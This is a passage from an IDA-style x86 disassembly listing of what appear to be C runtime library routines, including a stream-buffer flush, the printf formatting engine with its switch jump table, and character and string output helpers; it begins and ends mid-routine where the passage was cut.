esi, ebp jz short loc_41F443 or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41F443: ; CODE XREF: sub_41F3D2+12j ; sub_41F3D2+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41F3D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F44A proc near ; CODE XREF: sub_41BE6E+17p ; sub_41BE6E+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41F468 mov ecx, off_43A680 movzx eax, word ptr [ecx+eax*2] jmp short loc_41F4BA ; --------------------------------------------------------------------------- loc_41F468: ; CODE XREF: sub_41F44A+10j mov ecx, eax push esi mov esi, off_43A680 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41F48D and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41F496 ; --------------------------------------------------------------------------- loc_41F48D: ; CODE XREF: sub_41F44A+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41F496: ; CODE XREF: sub_41F44A+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_423BF4 add esp, 1Ch test eax, eax jnz short loc_41F4B6 leave retn ; --------------------------------------------------------------------------- loc_41F4B6: ; CODE XREF: sub_41F44A+68j movzx eax, word ptr [ebp+arg_0+2] loc_41F4BA: ; CODE XREF: sub_41F44A+1Cj and eax, [ebp+arg_4] leave retn sub_41F44A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F4BF proc near ; CODE XREF: sub_41C006+46p ; sub_41C100+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41F5C8 test al, 40h jnz loc_41F5C8 test al, 1 jz short loc_41F4F7 and dword ptr [esi+4], 0 test al, 10h jz loc_41F5C8 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41F4F7: ; CODE XREF: sub_41F4BF+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F531 cmp esi, offset dword_43AD98 jz short loc_41F51F cmp esi, offset dword_43ADB8 jnz short loc_41F52A loc_41F51F: ; CODE XREF: sub_41F4BF+56j push ebx call sub_423D3D test eax, eax pop ecx jnz short loc_41F531 loc_41F52A: ; CODE XREF: sub_41F4BF+5Ej push esi call sub_4238F7 pop ecx loc_41F531: ; CODE XREF: sub_41F4BF+4Ej ; sub_41F4BF+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41F59E mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_41F561 push edi push eax push ebx call sub_422825 add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_41F594 ; --------------------------------------------------------------------------- loc_41F561: ; CODE XREF: sub_41F4BF+90j cmp ebx, 0FFFFFFFFh jz short loc_41F57C mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DAA60[eax*4] lea eax, [eax+ecx*8] jmp short loc_41F581 ; --------------------------------------------------------------------------- loc_41F57C: ; CODE XREF: sub_41F4BF+A5j mov eax, offset dword_43ACE0 loc_41F581: ; CODE XREF: sub_41F4BF+BBj test byte ptr [eax+4], 20h jz short loc_41F594 push 2 push 0 push ebx call sub_422633 add esp, 0Ch loc_41F594: ; CODE XREF: sub_41F4BF+A0j ; sub_41F4BF+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41F5B2 ; --------------------------------------------------------------------------- loc_41F59E: ; CODE XREF: sub_41F4BF+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_422825 add esp, 0Ch mov [ebp+arg_4], eax loc_41F5B2: ; CODE XREF: sub_41F4BF+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41F5BE or dword ptr [esi+0Ch], 20h jmp short loc_41F5CD ; --------------------------------------------------------------------------- loc_41F5BE: ; CODE XREF: sub_41F4BF+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41F5D0 ; --------------------------------------------------------------------------- loc_41F5C8: ; CODE XREF: sub_41F4BF+10j ; sub_41F4BF+18j ... or al, 20h mov [esi+0Ch], eax loc_41F5CD: ; CODE XREF: sub_41F4BF+FDj or eax, 0FFFFFFFFh loc_41F5D0: ; CODE XREF: sub_41F4BF+107j pop esi pop ebx pop ebp retn sub_41F4BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F5D4 proc near ; CODE XREF: sub_41C006+29p ; sub_41C100+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41FCED mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41F608 ; --------------------------------------------------------------------------- loc_41F600: ; CODE XREF: sub_41F5D4+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41F608: ; CODE XREF: sub_41F5D4+2Aj cmp [ebp+var_14], edx jl loc_41FCED cmp bl, 20h jl short loc_41F629 cmp bl, 78h jg short loc_41F629 movsx eax, bl mov al, byte ptr flt_427704[eax] and eax, 0Fh jmp short loc_41F62B ; --------------------------------------------------------------------------- loc_41F629: ; CODE XREF: sub_41F5D4+40j ; sub_41F5D4+45j xor eax, eax loc_41F62B: ; CODE XREF: sub_41F5D4+53j movsx eax, byte_427724[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41FCDC ; default jmp off_41FCF5[eax*4] ; switch jump loc_41F649: ; DATA XREF: ___:off_41FCF5o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041F642 case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F664: ; CODE XREF: sub_41F5D4+6Ej ; DATA XREF: ___:off_41FCF5o movsx eax, bl ; jumptable 0041F642 case 2 sub eax, 20h jz short loc_41F6A7 sub eax, 3 jz short loc_41F69E sub eax, 8 jz short loc_41F695 dec eax dec eax jz short loc_41F68C sub eax, 3 jnz loc_41FCDC ; default or [ebp+var_4], 8 jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F68C: ; CODE XREF: sub_41F5D4+A4j or [ebp+var_4], 4 jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F695: ; CODE XREF: sub_41F5D4+A0j or [ebp+var_4], 1 jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F69E: ; CODE XREF: sub_41F5D4+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F6A7: ; CODE XREF: sub_41F5D4+96j or [ebp+var_4], 2 jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F6B0: ; CODE XREF: sub_41F5D4+6Ej ; DATA XREF: ___:off_41FCF5o cmp bl, 2Ah ; jumptable 0041F642 case 3 jnz short loc_41F6D8 lea eax, [ebp+arg_8] push eax call sub_41FDB3 test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41FCDC ; default or [ebp+var_4], 4 neg eax loc_41F6D0: ; CODE XREF: sub_41F5D4+111j mov [ebp+var_20], eax jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F6D8: ; CODE XREF: sub_41F5D4+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_41F6D0 ; --------------------------------------------------------------------------- loc_41F6E7: ; CODE XREF: sub_41F5D4+6Ej ; DATA XREF: ___:off_41FCF5o mov [ebp+var_10], edx ; jumptable 0041F642 case 4 jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F6EF: ; CODE XREF: sub_41F5D4+6Ej ; DATA XREF: ___:off_41FCF5o cmp bl, 2Ah ; jumptable 0041F642 case 5 jnz short loc_41F712 lea eax, [ebp+arg_8] push eax call sub_41FDB3 test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41FCDC ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F712: ; CODE XREF: sub_41F5D4+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F724: ; CODE XREF: sub_41F5D4+6Ej ; DATA XREF: ___:off_41FCF5o cmp bl, 49h ; jumptable 0041F642 case 6 jz short loc_41F757 cmp bl, 68h jz short loc_41F74E cmp bl, 6Ch jz short loc_41F745 cmp bl, 77h jnz loc_41FCDC ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F745: ; CODE XREF: sub_41F5D4+15Dj or [ebp+var_4], 10h jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F74E: ; CODE XREF: sub_41F5D4+158j or [ebp+var_4], 20h jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F757: ; CODE XREF: sub_41F5D4+153j cmp byte ptr [edi], 36h jnz short loc_41F770 cmp byte ptr [edi+1], 34h jnz short loc_41F770 inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F770: ; CODE XREF: sub_41F5D4+186j ; sub_41F5D4+18Cj mov [ebp+var_30], edx loc_41F773: ; CODE XREF: sub_41F5D4+6Ej ; DATA XREF: ___:off_41FCF5o mov ecx, off_43A680 ; jumptable 0041F642 case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41F79F lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FD15 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41F79F: ; CODE XREF: sub_41F5D4+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FD15 add esp, 0Ch jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F7B7: ; CODE XREF: sub_41F5D4+6Ej ; DATA XREF: ___:off_41FCF5o movsx eax, bl ; jumptable 0041F642 case 7 cmp eax, 67h jg loc_41F9DF cmp eax, 65h jge loc_41F862 cmp eax, 58h jg loc_41F8C0 jz loc_41FA53 sub eax, 43h jz loc_41F883 dec eax dec eax jz short loc_41F858 dec eax dec eax jz short loc_41F858 sub eax, 0Ch jnz loc_41FBDE test word ptr [ebp+var_4], 830h jnz short loc_41F801 or byte ptr [ebp+var_4+1], 8 loc_41F801: ; CODE XREF: sub_41F5D4+227j ; sub_41F5D4+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41F80E mov esi, 7FFFFFFFh loc_41F80E: ; CODE XREF: sub_41F5D4+233j lea eax, [ebp+arg_8] push eax call sub_41FDB3 test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41FA27 test ecx, ecx jnz short loc_41F836 mov ecx, off_43A89C mov [ebp+var_8], ecx loc_41F836: ; CODE XREF: sub_41F5D4+257j mov [ebp+var_24], 1 mov eax, ecx loc_41F83F: ; CODE XREF: sub_41F5D4+282j mov edx, esi dec esi test edx, edx jz loc_41FA1E cmp word ptr [eax], 0 jz loc_41FA1E inc eax inc eax jmp short loc_41F83F ; --------------------------------------------------------------------------- loc_41F858: ; CODE XREF: sub_41F5D4+212j ; sub_41F5D4+216j mov [ebp+var_34], 1 add bl, 20h loc_41F862: ; CODE XREF: sub_41F5D4+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41F946 mov [ebp+var_10], 6 jmp loc_41F954 ; --------------------------------------------------------------------------- loc_41F883: ; CODE XREF: sub_41F5D4+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41F88F or byte ptr [ebp+var_4+1], 8 loc_41F88F: ; CODE XREF: sub_41F5D4+2B5j ; sub_41F5D4+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41F8D6 call sub_41FDD0 push eax lea eax, [ebp+var_248] push eax call sub_423D63 add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41F8E9 mov [ebp+var_28], 1 jmp short loc_41F8E9 ; --------------------------------------------------------------------------- loc_41F8C0: ; CODE XREF: sub_41F5D4+1FBj sub eax, 5Ah jz short loc_41F8F7 sub eax, 9 jz short loc_41F88F dec eax jz loc_41FAB9 jmp loc_41FBDE ; --------------------------------------------------------------------------- loc_41F8D6: ; CODE XREF: sub_41F5D4+2C5j call sub_41FDB3 pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41F8E9: ; CODE XREF: sub_41F5D4+2E1j ; sub_41F5D4+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41FBDE ; --------------------------------------------------------------------------- loc_41F8F7: ; CODE XREF: sub_41F5D4+2EFj lea eax, [ebp+arg_8] push eax call sub_41FDB3 test eax, eax pop ecx jz short loc_41F938 mov ecx, [eax+4] test ecx, ecx jz short loc_41F938 test byte ptr [ebp+var_4+1], 8 jz short loc_41F929 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41FBDE ; --------------------------------------------------------------------------- loc_41F929: ; CODE XREF: sub_41F5D4+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41FBDB ; --------------------------------------------------------------------------- loc_41F938: ; CODE XREF: sub_41F5D4+32Fj ; sub_41F5D4+336j mov eax, off_43A898 mov [ebp+var_8], eax push eax jmp loc_41F9D4 ; --------------------------------------------------------------------------- loc_41F946: ; CODE XREF: sub_41F5D4+29Dj jnz short loc_41F954 cmp bl, 67h jnz short loc_41F954 mov [ebp+var_10], 1 loc_41F954: ; CODE XREF: sub_41F5D4+2AAj ; sub_41F5D4:loc_41F946j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43AC28 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41F9A6 cmp [ebp+var_10], 0 jnz short loc_41F9A6 lea eax, [ebp+var_248] push eax call off_43AC34 pop ecx loc_41F9A6: ; CODE XREF: sub_41F5D4+3BCj ; sub_41F5D4+3C2j cmp bl, 67h jnz short loc_41F9BD test esi, esi jnz short loc_41F9BD lea eax, [ebp+var_248] push eax call off_43AC2C pop ecx loc_41F9BD: ; CODE XREF: sub_41F5D4+3D5j ; sub_41F5D4+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41F9D3 or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41F9D3: ; CODE XREF: sub_41F5D4+3F0j push edi loc_41F9D4: ; CODE XREF: sub_41F5D4+36Dj call sub_41B960 pop ecx jmp loc_41FBDB ; --------------------------------------------------------------------------- loc_41F9DF: ; CODE XREF: sub_41F5D4+1E9j sub eax, 69h jz loc_41FAB9 sub eax, 5 jz loc_41FA8F dec eax jz loc_41FA7C dec eax jz short loc_41FA4C sub eax, 3 jz loc_41F801 dec eax dec eax jz loc_41FABD sub eax, 3 jnz loc_41FBDE mov [ebp+var_2C], 27h jmp short loc_41FA5A ; --------------------------------------------------------------------------- loc_41FA1E: ; CODE XREF: sub_41F5D4+270j ; sub_41F5D4+27Aj sub eax, ecx sar eax, 1 jmp loc_41FBDB ; --------------------------------------------------------------------------- loc_41FA27: ; CODE XREF: sub_41F5D4+24Fj test ecx, ecx jnz short loc_41FA34 mov ecx, off_43A898 mov [ebp+var_8], ecx loc_41FA34: ; CODE XREF: sub_41F5D4+455j mov eax, ecx loc_41FA36: ; CODE XREF: sub_41F5D4+46Fj mov edx, esi dec esi test edx, edx jz short loc_41FA45 cmp byte ptr [eax], 0 jz short loc_41FA45 inc eax jmp short loc_41FA36 ; --------------------------------------------------------------------------- loc_41FA45: ; CODE XREF: sub_41F5D4+467j ; sub_41F5D4+46Cj sub eax, ecx jmp loc_41FBDB ; --------------------------------------------------------------------------- loc_41FA4C: ; CODE XREF: sub_41F5D4+425j mov [ebp+var_10], 8 loc_41FA53: ; CODE XREF: sub_41F5D4+201j mov [ebp+var_2C], 7 loc_41FA5A: ; CODE XREF: sub_41F5D4+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41FAC4 mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41FAC4 ; --------------------------------------------------------------------------- loc_41FA7C: ; CODE XREF: sub_41F5D4+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41FAC4 or byte ptr [ebp+var_4+1], 2 jmp short loc_41FAC4 ; --------------------------------------------------------------------------- loc_41FA8F: ; CODE XREF: sub_41F5D4+417j lea eax, [ebp+arg_8] push eax call sub_41FDB3 test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41FAA8 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41FAAD ; --------------------------------------------------------------------------- loc_41FAA8: ; CODE XREF: sub_41F5D4+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41FAAD: ; CODE XREF: sub_41F5D4+4D2j mov [ebp+var_28], 1 jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41FAB9: ; CODE XREF: sub_41F5D4+2F7j ; sub_41F5D4+40Ej or [ebp+var_4], 40h loc_41FABD: ; CODE XREF: sub_41F5D4+432j mov [ebp+var_C], 0Ah loc_41FAC4: ; CODE XREF: sub_41F5D4+491j ; sub_41F5D4+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41FAD6 lea eax, [ebp+arg_8] push eax call sub_41FDC0 pop ecx jmp short loc_41FB17 ; --------------------------------------------------------------------------- loc_41FAD6: ; CODE XREF: sub_41F5D4+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41FAFD test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FAF2 call sub_41FDB3 pop ecx movsx eax, ax loc_41FAEF: ; CODE XREF: sub_41F5D4+527j ; sub_41F5D4+539j cdq jmp short loc_41FB17 ; --------------------------------------------------------------------------- loc_41FAF2: ; CODE XREF: sub_41F5D4+510j call sub_41FDB3 pop ecx movzx eax, ax jmp short loc_41FAEF ; --------------------------------------------------------------------------- loc_41FAFD: ; CODE XREF: sub_41F5D4+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FB0F call sub_41FDB3 pop ecx jmp short loc_41FAEF ; --------------------------------------------------------------------------- loc_41FB0F: ; CODE XREF: sub_41F5D4+531j call sub_41FDB3 pop ecx xor edx, edx loc_41FB17: ; CODE XREF: sub_41F5D4+500j ; sub_41F5D4+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41FB38 test edx, edx jg short loc_41FB38 jl short loc_41FB27 test eax, eax jnb short loc_41FB38 loc_41FB27: ; CODE XREF: sub_41F5D4+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41FB3C ; --------------------------------------------------------------------------- loc_41FB38: ; CODE XREF: sub_41F5D4+547j ; sub_41F5D4+54Bj ... mov esi, eax mov edi, edx loc_41FB3C: ; CODE XREF: sub_41F5D4+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41FB45 and edi, 0 loc_41FB45: ; CODE XREF: sub_41F5D4+56Cj cmp [ebp+var_10], 0 jge short loc_41FB54 mov [ebp+var_10], 1 jmp short loc_41FB58 ; --------------------------------------------------------------------------- loc_41FB54: ; CODE XREF: sub_41F5D4+575j and [ebp+var_4], 0FFFFFFF7h loc_41FB58: ; CODE XREF: sub_41F5D4+57Ej mov eax, esi or eax, edi jnz short loc_41FB62 and [ebp+var_1C], 0 loc_41FB62: ; CODE XREF: sub_41F5D4+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41FB68: ; CODE XREF: sub_41F5D4+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41FB78 mov eax, esi or eax, edi jz short loc_41FBB3 loc_41FB78: ; CODE XREF: sub_41F5D4+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_41DC20 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_41DBB0 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41FBA9 add ebx, [ebp+var_2C] loc_41FBA9: ; CODE XREF: sub_41F5D4+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41FB68 ; --------------------------------------------------------------------------- loc_41FBB3: ; CODE XREF: sub_41F5D4+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41FBDE mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41FBD1 test eax, eax jnz short loc_41FBDE loc_41FBD1: ; CODE XREF: sub_41F5D4+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41FBDB: ; CODE XREF: sub_41F5D4+35Fj ; sub_41F5D4+406j ... mov [ebp+var_C], eax loc_41FBDE: ; CODE XREF: sub_41F5D4+21Bj ; sub_41F5D4+2FDj ... cmp [ebp+var_28], 0 jnz loc_41FCDC ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41FC16 test bh, 1 jz short loc_41FBFB mov [ebp+var_16], 2Dh jmp short loc_41FC0F ; --------------------------------------------------------------------------- loc_41FBFB: ; CODE XREF: sub_41F5D4+61Fj test bl, 1 jz short loc_41FC06 mov [ebp+var_16], 2Bh jmp short loc_41FC0F ; --------------------------------------------------------------------------- loc_41FC06: ; CODE XREF: sub_41F5D4+62Aj test bl, 2 jz short loc_41FC16 mov [ebp+var_16], 20h loc_41FC0F: ; CODE XREF: sub_41F5D4+625j ; sub_41F5D4+630j mov [ebp+var_1C], 1 loc_41FC16: ; CODE XREF: sub_41F5D4+61Aj ; sub_41F5D4+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41FC36 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FD4A add esp, 10h loc_41FC36: ; CODE XREF: sub_41F5D4+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41FD7B add esp, 10h test bl, 8 jz short loc_41FC68 test bl, 4 jnz short loc_41FC68 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_41FD4A add esp, 10h loc_41FC68: ; CODE XREF: sub_41F5D4+67Bj ; sub_41F5D4+680j cmp [ebp+var_24], 0 jz short loc_41FCAF cmp [ebp+var_C], 0 jle short loc_41FCAF mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41FC7D: ; CODE XREF: sub_41F5D4+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_423D63 pop ecx test eax, eax pop ecx jle short loc_41FCC4 lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_41FD7B add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41FC7D jmp short loc_41FCC4 ; --------------------------------------------------------------------------- loc_41FCAF: ; CODE XREF: sub_41F5D4+698j ; sub_41F5D4+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41FD7B add esp, 10h loc_41FCC4: ; CODE XREF: sub_41F5D4+6BCj ; sub_41F5D4+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41FCDC ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FD4A add esp, 10h loc_41FCDC: ; CODE XREF: sub_41F5D4+68j ; sub_41F5D4+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41F600 loc_41FCED: ; CODE XREF: sub_41F5D4+1Fj ; sub_41F5D4+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41F5D4 endp ; --------------------------------------------------------------------------- off_41FCF5 dd offset loc_41F773 ; DATA XREF: sub_41F5D4+6Er dd offset loc_41F649 ; jump table for switch statement dd offset loc_41F664 dd offset loc_41F6B0 dd offset loc_41F6E7 dd offset loc_41F6EF dd offset loc_41F724 dd offset loc_41F7B7 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FD15 proc near ; CODE XREF: sub_41F5D4+1BDp ; sub_41F5D4+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41FD2E mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41FD39 ; --------------------------------------------------------------------------- loc_41FD2E: ; CODE XREF: sub_41FD15+9j push ecx push [ebp+arg_0] call sub_41F4BF pop ecx pop ecx loc_41FD39: ; CODE XREF: sub_41FD15+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41FD46 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41FD46: ; CODE XREF: sub_41FD15+2Aj inc dword ptr [eax] pop ebp retn sub_41FD15 endp ; =============== S U B R O U T I N E ======================================= sub_41FD4A proc near ; CODE XREF: sub_41F5D4+65Ap ; sub_41F5D4+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_41FD78 mov esi, [esp+8+arg_C] loc_41FD5B: ; CODE XREF: sub_41FD4A+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41FD15 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41FD78 mov eax, edi dec edi test eax, eax jg short loc_41FD5B loc_41FD78: ; CODE XREF: sub_41FD4A+Bj ; sub_41FD4A+25j pop edi pop esi retn sub_41FD4A endp ; =============== S U B R O U T I N E ======================================= sub_41FD7B proc near ; CODE XREF: sub_41F5D4+670p ; sub_41F5D4+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41FDAF mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41FD91: ; CODE XREF: sub_41FD7B+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41FD15 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41FDAF mov eax, ebx dec ebx test eax, eax jg short loc_41FD91 loc_41FDAF: ; CODE XREF: sub_41FD7B+Cj ; sub_41FD7B+2Bj pop edi pop esi pop ebx retn sub_41FD7B endp ; =============== S U B R O U T I N E ======================================= sub_41FDB3 proc near ; CODE XREF: sub_41F5D4+E5p ; sub_41F5D4+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41FDB3 endp ; =============== S U B R O U T I N E ======================================= sub_41FDC0 proc near ; CODE XREF: sub_41F5D4+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, 